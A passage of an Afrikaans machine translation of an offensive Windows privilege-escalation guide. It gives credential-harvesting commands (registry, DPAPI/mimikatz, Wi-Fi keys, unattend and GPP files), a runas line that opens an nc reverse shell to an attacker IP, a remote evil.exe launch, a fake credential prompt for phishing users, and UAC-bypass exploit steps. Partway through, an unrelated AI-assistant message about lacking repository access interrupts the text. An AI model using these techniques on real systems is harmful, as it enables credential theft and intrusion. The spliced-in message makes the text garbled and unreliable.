net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Kontroleer vir ander bekende rekenaars wat in die hosts file hardcoded is

type C:\Windows\System32\drivers\etc\hosts

Netwerkinterfaces & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Oop Poorte

Kontroleer vir beperkte dienste van buite

netstat -ano #Opened ports?

Roetetabel

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP Tabel

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall Reëls

Check this page for Firewall related commands (lys reëls, skep reëls, skakel af, skakel af…)

Meer commands for network enumeration here

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Binêre bash.exe kan ook gevind word in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

As jy root user kry, kan jy na enige poort luister (die eerste keer wat jy nc.exe gebruik om na ’n poort te luister, sal dit via die GUI vra of nc deur die firewall toegelaat moet word).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Om maklik bash as root te begin, kan jy probeer --default-user root

Jy kan die WSL lêerstelsel verken in die vouer C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Windows-aanmeldbewyse

Winlogon-aanmeldbewyse

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows vault

Van https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault\
Die Windows Vault stoor gebruikers se credentials vir bedieners, webwerwe en ander programme wat Windows die gebruikers outomaties kan aanmeld. Op die eerste oogopslag mag dit lyk asof gebruikers hul Facebook credentials, Twitter credentials, Gmail credentials, ens. kan stoor sodat hulle outomaties via blaaiers kan aanmeld — maar dit is nie die geval nie.

Die Windows Vault stoor credentials wat Windows kan gebruik om gebruikers outomaties aan te meld, wat beteken dat enige Windows application that needs credentials to access a resource (bediener of ’n webwerf) can make use of this Credential Manager en die verskafde credentials kan gebruik in plaas daarvan dat gebruikers die gebruikersnaam en wagwoord elke keer moet invoer.

Tensy die toepassings met die Credential Manager saamwerk, dink ek nie dit is moontlik vir hulle om die credentials vir ’n gegewe bron te gebruik nie. Dus, as jou toepassing die vault wil gebruik, moet dit op een of ander manier kommunikeer met die credential manager en die credentials vir daardie bron versoek vanaf die standaard stoorvault.

Gebruik die cmdkey om die gestoorde credentials op die masjien te lys.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Dan kan jy runas met die /savecred opsies gebruik om die gestoorde credentials te gebruik. Die volgende voorbeeld roep ’n remote binary via ’n SMB share aan.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Gebruik van runas met ’n verskafde stel credential.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Let wel dat mimikatz, lazagne, credentialfileview, VaultPasswordView, of die Empire Powershells module gebruik kan word.

DPAPI

Die Data Protection API (DPAPI) bied ’n metode vir simmetriese enkripsie van data, hoofsaaklik gebruik binne die Windows-bedryfstelsel vir die simmetriese enkripsie van asymmetriese private sleutels. Hierdie enkripsie maak gebruik van ’n gebruikers- of stelselgeheim wat aansienlik bydra tot entropie.

DPAPI stel die enkripsie van sleutels in staat deur ’n simmetriese sleutel wat afgelei word van die gebruiker se aanmeldgeheime. In scenario’s wat stelsel-enkripsie betrek, gebruik dit die stelsel se domeinauthentiseringgeheime.

Gekodeerde gebruikers-RSA-sleutels wat deur DPAPI gekodeer is, word gestoor in die %APPDATA%\Microsoft\Protect\{SID} gids, waar {SID} die gebruiker se Security Identifier voorstel. Die DPAPI key, co-located with the master key that safeguards the user’s private keys in the same file, bestaan tipies uit 64 bytes van ewekansige data. (Dit is belangrik om daarop te let dat toegang tot hierdie gids beperk is — dit voorkom dat jy die inhoud met die dir opdrag in CMD kan lys, alhoewel dit wel via PowerShell gelys kan word).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Jy kan die mimikatz module dpapi::masterkey met die toepaslike argumente (/pvk of /rpc) gebruik om dit te ontsleutel.

Die credentials files protected by the master password word gewoonlik gevind in:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Jy kan die mimikatz module dpapi::cred met die toepaslike /masterkey gebruik om te ontsleutel.
Jy kan DPAPI masterkeys uit geheue ekstraheer met die sekurlsa::dpapi module (as jy root is).

DPAPI - Extracting Passwords

PowerShell Credentials

PowerShell-inlogbewyse word dikwels gebruik vir scripting en automatiseringstake as ’n gerieflike manier om versleutelde inlogbewyse te stoor. Die inlogbewyse word beskerm met DPAPI, wat gewoonlik beteken dat hulle slegs deur dieselfde gebruiker op dieselfde rekenaar waarop hulle geskep is, ontsleutel kan word.

Om ’n PS-credential uit die lêer wat dit bevat te ontsleutel, kan jy die volgende doen:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Gestoorde RDP-verbindinge

Jy kan dit vind by HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
en in HKCU\Software\Microsoft\Terminal Server Client\Servers\

Onlangs uitgevoerde opdragte

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Kredensiële Bestuurder vir Remote Desktop

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use the Mimikatz dpapi::rdg module with appropriate /masterkey to **decrypt any .rdg files\ You can **extract many DPAPI masterkeys** from memory with the Mimikatz sekurlsa::dpapi` module

Sticky Notes

Mense gebruik dikwels die StickyNotes app op Windows-werkstasies om wagwoorde te stoor en ander inligting, sonder om te besef dit is ’n databasislêer. Hierdie lêer is geleë by C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite en is altyd die moeite werd om te soek en te ondersoek.

AppCmd.exe

Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.
AppCmd.exe is located in the %systemroot%\system32\inetsrv\ directory.
If this file exists then it is possible that some credentials have been configured and can be recovered.

This code was extracted from PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Kontroleer of C:\Windows\CCM\SCClient.exe bestaan .
Installeerders word met SYSTEM privileges uitgevoer, baie is kwesbaar vir DLL Sideloading (Inligting van https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Lêers en Register (Credentials)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH Gasheer-sleutels

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH-sleutels in die register

SSH private keys kan binne die registersleutel HKCU\Software\OpenSSH\Agent\Keys gestoor word, dus moet jy kyk of daar iets interessant daarin is:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

As jy enige inskrywing in daardie pad vind sal dit waarskynlik ’n gestoor SSH key wees. Dit is versleuteld gestoor maar kan maklik gedekripteer word met behulp van https://github.com/ropnop/windows_sshagent_extract.
Meer inligting oor hierdie tegniek hier: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

As die ssh-agent service nie loop nie en jy wil hê dit moet outomaties by opstart begin, voer die volgende uit:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Dit lyk of hierdie tegniek nie meer geldig is nie. Ek het probeer om ’n paar ssh keys te skep, dit met ssh-add by te voeg en via ssh op ’n masjien aan te meld. Die register HKCU\Software\OpenSSH\Agent\Keys bestaan nie en procmon het nie die gebruik van dpapi.dll tydens die asymmetriese sleutelverifikasie geïdentifiseer nie.

Onbewaakte lêers

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Jy kan ook hierdie lêers soek met metasploit: post/windows/gather/enum_unattend

Voorbeeldinhoud:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM rugsteune

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Wolk-kredensiale

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Soek na ’n lêer met die naam SiteList.xml

Gekasde GPP-wagwoord

Daar was voorheen ’n funksie beskikbaar wat die uitrol van pasgemaakte plaaslike administrateurrekeninge op ’n groep masjiene via Group Policy Preferences (GPP) toegelaat het. Hierdie metode het egter noemenswaardige sekuriteitsfoute gehad. Eerstens kon die Group Policy Objects (GPOs), wat as XML-lêers in SYSVOL gestoor word, deur enige domeingebruiker bereik word. Tweedens kon die wagwoorde binne hierdie GPPs, wat met AES256 en ’n publiek gedokumenteerde standaard-sleutel versleuteld is, deur enige geauthentiseerde gebruiker ontsleutel word. Dit het ’n ernstige risiko geskep, aangesien dit gebruikers verhoogde regte kon gee.

Om hierdie risiko te verminder is ’n funksie ontwikkel wat soek na plaaslik gekashde GPP-lêers wat ’n “cpassword” veld bevat wat nie leeggemaak is nie. By die vind van so ’n lêer ontsleutel die funksie die wagwoord en gee ’n pasgemaakte PowerShell-objek terug. Hierdie objek sluit besonderhede oor die GPP en die lêer se ligging in, wat help om hierdie sekuriteitskwetsbaarheid te identifiseer en reg te stel.

Soek in C:\ProgramData\Microsoft\Group Policy\history of in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) vir hierdie lêers:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Om die cPassword te ontsleutel:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Gebruik crackmapexec om die passwords te kry:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Voorbeeld van web.config met inlogbesonderhede:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN credentials

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Loglêers

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Vra vir credentials

Jy kan altyd die gebruiker vra om sy credentials in te voer of selfs die credentials van ’n ander gebruiker as jy dink hy dit kan weet (let daarop dat dit regtig riskant is om die kliënt direk vir die credentials te vra):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Moontlike bestandsname wat credentials bevat

Bekende lêers wat ’n tyd gelede passwords in clear-text of Base64 bevat het

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

I don’t have access to your repository or files. Paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md here (or attach the file) and I’ll translate the English text to Afrikaans, preserving markdown, tags, links, paths and code as you requested.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Kredensiale in die RecycleBin

Kontroleer ook die RecycleBin vir kredensiale.

Om wagwoorde te herstel wat deur verskeie programme gestoor is, kan jy gebruik: http://www.nirsoft.net/password_recovery_tools.html

Binne die register

Ander moontlike registersleutels met kredensiale

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Haal openssh-sleutels uit die register.

Blaaiergeskiedenis

Jy moet kyk vir dbs waar passwords van Chrome of Firefox gestoor word.
Kyk ook na die geskiedenis, bladmerke en gunstelinge van die blaaiers, aangesien daar dalk sommige passwords gestoor is.

Tools to extract passwords from browsers:

COM DLL Oorskrywing

Component Object Model (COM) is ’n tegnologie ingebou in die Windows-operatingstelsel wat interkommunikasie tussen sagtewarekomponente in verskillende tale moontlik maak. Elke COM-komponent is identified via a class ID (CLSID) en elke komponent stel funksionaliteit beskikbaar via een of meer interfaces, geïdentifiseer via interface IDs (IIDs).

COM classes en interfaces word in die register gedefinieer onder HKEY\CLASSES\ROOT\CLSID en HKEY\CLASSES\ROOT\Interface onderskeidelik. Hierdie register word geskep deur die samestelling van HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).

Basies, as jy enige van die DLLs kan overwrite wat uitgevoer gaan word, kan jy escalate privileges as daardie DLL deur ’n ander gebruiker uitgevoer gaan word.

Om te leer hoe aanvallers COM Hijacking as ’n persistence-meganisme gebruik, kyk:

COM Hijacking

Algemene Password-soektog in lêers en register

Soek na lêerinhoud

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Soek na ’n lêer met ’n bepaalde lêernaam

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Soek die registry vir sleutelname en wagwoorde

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Gereedskap wat na passwords soek

MSF-Credentials Plugin is a msf plugin. Ek het hierdie plugin geskep om outomaties elke metasploit POST-module wat na credentials binne die slagoffer soek, uit te voer.
Winpeas soek outomaties na al die lêers wat passwords bevat wat op hierdie bladsy genoem word.
Lazagne is nog ’n uitstekende hulpmiddel om passwords uit ’n stelsel te onttrek.

Die gereedskap SessionGopher soek na sessions, usernames en passwords van verskeie gereedskap wat hierdie data in clear text stoor (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Stel jou voor dat ’n proses wat as SYSTEM loop ’n nuwe proses open (OpenProcess()) met volledige toegang. Dieselfde proses skepp ook ’n nuwe proses (CreateProcess()) met lae bevoegdhede maar wat alle oop handles van die hoofproses erf.
Dan, as jy volledige toegang tot die lae-bevoegdhede proses het, kan jy die oop handle na die bevoegde proses wat met OpenProcess() geskep is gryp en inject a shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).

Named Pipe Client Impersonation

Gedeelde geheue-segmente, verwys na as pipes, stel proseskommunikasie en data-oordrag in staat.

Windows verskaf ’n funksie genaamd Named Pipes, wat onverwante prosesse toelaat om data te deel, selfs oor verskillende netwerke. Dit lyk soos ’n client/server-argitektuur, met rolle gedefinieer as named pipe server en named pipe client.

Wanneer data deur ’n client deur ’n pipe gestuur word, het die server wat die pipe opgestel het die vermoë om die identiteit aan te neem van die client, mits dit die nodige SeImpersonate regte het. Om ’n bevoegde proses te identifiseer wat via ’n pipe kommunikeer wat jy kan naboots, bied ’n geleentheid om hoër bevoegdhede te bekom deur die identiteit van daardie proses aan te neem sodra dit met die pipe wat jy opgestel het interaksie het. Vir instruksies oor die uitvoering van so ’n aanval, is nuttige gidse te vinde hier en hier.

Ook laat die volgende tool toe om ’n named pipe kommunikasie te onderskep met ’n tool soos burp: https://github.com/gabriel-sztejnworcel/pipe-intercept en hierdie tool laat toe om al die pipes op te lys en te sien om privescs te vind https://github.com/cyberark/PipeViewer

Telephony tapsrv remote DWORD write to RCE

Die Telephony service (TapiSrv) in server-modus openbaar \\pipe\\tapsrv (MS-TRP). ’n Afgeleë geverifieerde client kan die mailslot-gebaseerde async event-pad misbruik om ClientAttach te verander in ’n arbitrêre 4-byte write na enige bestaande lêer waarop NETWORK SERVICE skryfbaar is, en dan Telephony admin-regte kry en ’n arbitrêre DLL as die diens laai. Volledige vloei:

  • ClientAttach met pszDomainUser gestel op ’n skryfbare bestaande pad → die diens maak dit oop via CreateFileW(..., OPEN_EXISTING) en gebruik dit vir async event-skrywe.
  • Elke event skryf die deur-aanvaller-beheerde InitContext van Initialize na daardie handle. Registreer ’n line app met LRegisterRequestRecipient (Req_Func 61), trigger TRequestMakeCall (Req_Func 121), haal op via GetAsyncEvents (Req_Func 0), en dan unregister/shutdown om deterministiese skrywes te herhaal.
  • Voeg jouself by [TapiAdministrators] in C:\Windows\TAPI\tsec.ini, herverbind, en roep dan GetUIDllName aan met ’n arbitrêre DLL-pad om TSPI_providerUIIdentify as NETWORK SERVICE uit te voer.

More details:

Telephony Tapsrv Arbitrary Dword Write To Rce

Divers

Lêeruitbreidings wat dinge in Windows kan uitvoer

Kyk na die bladsy https://filesec.io/

Monitering van opdragreëls vir wagwoorde

Wanneer jy ’n shell as ’n gebruiker kry, kan daar geskeduleerde take of ander prosesse wees wat uitgevoer word wat inlogbesonderhede op die opdragreël deurgee. Die script hieronder vang proses opdragreëls elke twee sekondes op en vergelyk die huidige toestand met die vorige toestand, en gee enige verskille uit.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Steal wagwoorde uit prosesse

Van Low Priv User na NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

As jy toegang het tot die grafiese koppelvlak (via console of RDP) en UAC geaktiveer is, is dit in sommige weergawes van Microsoft Windows moontlik om ’n terminal of enige ander proses soos “NT\AUTHORITY SYSTEM” te laat loop vanaf ’n onprivileged gebruiker.

Dit maak dit moontlik om voorregte op te skerp en UAC terselfdertyd met dieselfde kwesbaarheid te omseil. Boonop is daar geen noodsaaklikheid om enigiets te installeer nie, en die binary wat tydens die proses gebruik word, is gesigneer en uitgereik deur Microsoft.

Sommige van die geaffekteerde stelsels is die volgende:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Om hierdie kwesbaarheid uit te buit, is dit nodig om die volgende stappe uit te voer:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

You have all the necessary files and information in the following GitHub repository:

https://github.com/jas502n/CVE-2019-1388

Van Administrator Medium na High Integrity Level / UAC Bypass

Read this to learn about Integriteitsvlakke:

Integrity Levels

Then read this to learn about UAC and UAC bypasses:

UAC - User Account Control

Van Arbitrary Folder Delete/Move/Rename na SYSTEM EoP

Die tegniek wat beskryf word in this blog post met exploit code available here.

Die aanval bestaan basies uit die misbruik van die Windows Installer se rollback-funksie om wettige lêers tydens die deïnstallasieproses te vervang met kwaadwillige lêers. Hiervoor moet die aanvaller ’n malicious MSI installer skep wat gebruik sal word om die C:\Config.Msi vouer te kap, wat later deur die Windows Installer gebruik sal word om rollback-lêers te stoor tydens die deïnstallering van ander MSI-pakkette waar die rollback-lêers gemodifiseer sou wees om die kwaadwillige payload te bevat.

